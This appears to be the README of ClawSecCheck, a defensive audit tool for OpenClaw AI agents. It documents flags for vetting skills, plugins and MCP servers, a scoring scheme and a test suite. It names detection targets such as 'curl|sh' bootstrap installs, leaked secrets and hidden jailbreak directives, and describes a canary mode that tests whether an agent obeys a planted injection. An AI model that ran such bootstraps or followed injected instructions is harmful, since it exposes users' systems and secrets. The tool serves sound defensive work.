python3 audit.py --log audit.log # also write log to a local file--nextprints the "What you can do next" guidance block on its own β runs the audit first, then shows only the prioritised next-steps list. Same content as the block appended to the default report; useful if you want to re-check recommendations without re-reading the full report.--vet TARGETvets anything before you install it: the artifact type is autodetected by content (a plugin manifest β plugin engine; an MCP server-spec JSON or configured server name β MCP engine; otherwise the skill engine) and printed to stderr asdetected type: β¦.--vet-skill/--vet-plugin/--vet-mcpforce a specific engine. For a skill it runs the full skill-content security scan β the B13 malware scan plus the content-security ring (capability-intent mismatch, cross-agent snooping, silent-instruction / jailbreak / forged-provenance directives) the full audit runs on installed skills (point it at a downloaded folder orSKILL.md; for a URL, clone it first, then vet the local copy). The output is a risk dossier β one AβF grade over five axes: danger (how dangerous to use), build (how it's built), behavior (how it thinks / behaves), persistence (what it stages for later), and connections (whom it reaches out to) β with an overall SAFE / SUSPICIOUS / DANGEROUS verdict. Add--jsonfor the machine-readable dossier (grade + per-axis breakdown + findings), or--sarif PATHto drop a SARIF file for CI / code scanning; exit code is1on SUSPICIOUS/DANGEROUS so--vet β¦ || failgates an install pipeline.--vet-plugin PATHvets an OpenClaw plugin (root dir,openclaw.plugin.json, or an installed wrapper project) before you install it: manifest sanity, npm lifecycle scripts, floating dependency versions, native-executable stowaways, and skills entries escaping the plugin root β then dispatches bundled skills to the skill engine (they auto-load via~/.openclaw/plugin-skills/) and embedded MCP specs to the MCP engine. Plugin runtime code is JS/TS and is disclosed as outside this vet's static depth β review entry files before trusting.--vet-source SLUG|URL|PKGis the pre-download reputation gate: it judges a source's identity βclawhub:<slug>,npm:<pkg>,pypi:<pkg>,git:host/owner/repo[@ref], or a URL β with zero network and nothing fetched. Exact match in the bundled known-compromised catalog β KNOWN-BAD (do not fetch, exit 1); typosquat of a well-known name / raw paste or bare-IP host / plaintext http / unpinned git ref β SUSPICIOUS (fetch only into an isolated quarantine, exit 1); otherwise the honest answer is no known-bad record (exit 0) β an identity check can never prove unseen code safe, so proceed via quarantine and run--veton the fetched copy before installing.--vet-mcpvets every MCP server listed undermcp.servers.*for supply-chain risk before you trust it. Flags unpinned installs (npx @latest, unversioned packages),curl|shbootstrap, plaintext-HTTP remote transports, env-variable secret passthrough, and overly broad OAuth scopes. Verdict per server: SAFE / SUSPICIOUS / DANGEROUS. Local and read-only β no network calls, no writes. Targets the #1 agent supply-chain gap: most tools audit your skills but not the MCP servers wired into your agent.--canaryemits a benign injection hidden in untrusted-looking content; feed it to your agent β if the agent echoes the token, it obeyed an injection (VULNERABLE), otherwise RESISTANT. This is the live "battle-tested" complement to the passive checks.--badge PATHwrites a shields-style SVG (grade + score only) for your README / posts.--trendrecords the current audit result to a local append-only history file and prints a table of past scores with per-run arrows. History stays on your machine only.--percentilecompares your score against a bundled offline reference profile β no network, no telemetry.--verbose/--debug/--log PATHactivate structured local logging. Config values that may hold secrets are redacted before being written (practising ClawSecCheck's own B9/B10).
Everything ClawSecCheck ever writes lives under ~/.clawseccheck/ (score history, monitor
state/events, the coverage-freshness ledger) β nothing is scattered elsewhere and nothing is
ever uploaded. To remove that local store:
clawseccheck --purge # lists the files, asks for confirmation, then deletes them
clawseccheck --purge --yes # skip the prompt (for scripted uninstall)--purge only ever touches its own known files (history.jsonl, events.jsonl, state.json,
coverage.json, plus their lock sidecars) β never a directory glob or recursive delete, so
anything else you keep under that path is untouched. It exits without deleting anything if you
answer no (or there's nothing to purge), and reports the count of files removed on success.
Removing the clawseccheck package/skill itself is a separate, normal uninstall step (e.g.
pip uninstall clawseccheck or removing the skill directory) β --purge only clears the local
data store.
Reviewed a finding and decided it's acceptable? Add it to ~/.openclaw/.clawseccheckignore β
one entry per line, either a check id (B14) or a finding fingerprint (B14:ab12cd34, shown
with --show-suppressed). Suppressed findings drop out of the score, the report, and
monitor alerts β so re-runs and --monitor stop nagging about things you've accepted.
# ~/.openclaw/.clawseccheckignore
B14 # accept the egress-surface advisory
B12:1a2b3c4d # accept one specific local-model finding
Weighted pass-rate (CRITICAL=10, HIGH=6, MEDIUM=3, LOW=1). Honesty hard-caps: any open CRITICAL caps the score at 49, any open HIGH at 79 β you can never show an "A" with a critical hole. Grades: A 90+ Β· B 80β89 Β· C 70β79 Β· D 50β69 Β· F <50. The shareable card shows only the grade + score + trifecta ratio β never the findings (sharing must not hand attackers your map).
As of 1.0.0, the following is a frozen contract: breaking it requires a major version bump (SemVer). The freeze was cut after the attestation layer settled, an adversarial review, and four field runs whose every finding was fixed or deliberately documented β with zero hard false positives on real configs.
A planned 2.0.0 will deliberately exercise this rule β batching the accumulated breaking changes (e.g. English-only output, finalized grade semantics, schema tidy) into one major bump. Until then, 1.x stays additive.
Frozen contract (breaking these β major bump):
- CLI flags and their documented meaning (
--json,--sarif,--card,--monitor,--fail-under,--exit-code, β¦). --jsonschema: top-levelscore,grade,capped,raw_score,trifecta,findings[],next_actions[]; each finding'sid,title,severity,status,detail,fix,framework,confidence,evidence.- SARIF 2.1.0 output shape (rule ids = check ids;
properties.confidence+.evidence). - Public Python API:
clawseccheck.audit(...) -> (ctx, findings, ScoreResult)and theFindingfield names. - Check IDs (full generated catalog in
docs/CHECKS.md): an id, once shipped, keeps its meaning. - Status / confidence vocabularies:
PASS|WARN|FAIL|UNKNOWN,HIGH|MEDIUM|LOW|ATTESTED. - Scoring bands: A 90+ Β· B 80β89 Β· C 70β79 Β· D 50β69 Β· F <50;
UNKNOWNnever scores; advisory checks (scored=False) never move the grade.
Explicitly experimental within 1.x (may change without a major bump, by design):
- The attestation layer: the
clawseccheck-attest/1self-report schema (note the/1β it is explicitly versioned to evolve), the--ask/--attestflow, the B43 verbβblast-radius taxonomy, and B44. TheATTESTEDconfidence tier exists to mark exactly this: a self-report is weaker than a config fact, advisory, and never overrides one. Freezing the newest surface now would over-commit, so it stays flexible under this label until it has had broader real-world use.
- Heuristic local audit, not a formal proof of safety. ClawSecCheck inspects configuration text and known patterns; it cannot reason about all possible runtime behaviours or formally verify your agent's security properties.
- Does not replace runtime red-teaming. Static configuration analysis is a starting point, not a substitute for adversarial testing against a running agent.
- May produce false positives and false negatives. Evidence-gating keeps noise low, but heuristics can miss novel attack patterns and can misread edge-case configurations.
- Read scope is bounded: config, bootstrap markdown, installed-skill text, OpenClaw log files, agent session logs, host OS path-existence checks, and credential-store path presence β not an exhaustive scan of your filesystem, and credential-store contents are never read.
- UNKNOWN is not PASS. Unreadable files or unparseable configs are reported as UNKNOWN and excluded from the score, never silently marked safe.
A security tool should be heavily tested β so it is. The suite is 140+ test files / 2,400+ tests, run on Python 3.9 and 3.12 in CI alongside ruff. Tests are offline and read-only (no network, nothing written outside the test's temp dir); every check ships a clean fixture (no finding) and a bad fixture (the finding fires) plus explicit UNKNOWN-path coverage; and the release bar is zero false-positive FAILs on real configs.
python3 -m pytest -q # full suite
ruff check . # lintThe test suite and fixtures live in the GitHub repo β they are not bundled in the installed skill package.
MIT β see LICENSE.
Before merging a release, follow this checklist:
python3 -m ruff check .python3 -m pytest- Run the most relevant test subset for the touched area if the full suite is too large for your CI window.
Update all of the following files (in order):
CHANGELOG.mdREADME.mdSECURITY.mdSECURITY_MODEL.mdSKILL.md
gh pr list --author app/dependabotβ merge all open dependabot PRs before tagging.
- Re-read the release notes and verify that check IDs, remediation text, and examples match the implemented code/tests.